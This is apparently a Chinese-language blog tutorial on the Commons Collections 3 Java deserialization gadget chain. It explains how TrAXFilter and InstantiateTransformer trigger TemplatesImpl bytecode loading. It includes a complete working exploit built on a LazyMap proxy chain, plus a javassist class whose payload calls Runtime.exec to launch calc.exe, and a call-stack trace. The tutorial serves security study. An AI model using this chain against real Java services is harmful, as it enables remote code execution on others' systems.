既 CC 1 和 CC 2 的学习之后,两者本质上还是去触发 InvokerTransformer.transform() 来反射调用方法,在引入了 TemplatesImpl 之后,是否能找到一种链子可以直接触发其 newTransformer 方法来加载字节码?CC 3 就是为此而生


既然如此,我们依旧对 newTransformer Find Usages,关注 TrAXFilter

1
2
3
4
5
6
7
public TrAXFilter(Templates templates)  throws  TransformerConfigurationException  
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

发现其构造函数中直接调用了 newTransformer(),参数也恰好就是 Templates 接口类型,就是说只要 TrAXFilter 被实例化,并且传入我们构造好的 TemplatesImpl 对象就好
为此这里我们需要一个新的 Transformer:InstantiateTransformer

transform() 方法中调用 getConstructor() 返回当前类单个 public 构造器,并最终实例化;我们直接传入 TrAXFilter.class 就可以了

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
instantiateTransformer.transform(TrAXFilter.class);



接下来就很自由了,可以结合其它链子的方法去触发 instantiateTransformer.transform,并生成序列化数据,这里就直接采用 CC 1 LazyMap 方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception{
byte[] byteCode = Evil.makeBytes();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Qu43ter");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<String, String> innerMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) ctor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
Object instance = ctor.newInstance(Target.class, proxyMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.flush();
oos.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();
}

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;  

import javassist.ClassPool;
import javassist.CtClass;

public class Evil {
public static byte[] makeBytes() throws Exception {
String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("org.example.Evil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().insertBefore(cmd);
return ctClass.toBytecode();
}
}

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
...
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:105)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
at com.sun.proxy.$Proxy1.entrySet(Unknown Source:-1)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at org.example.Main.main(Main.java:65)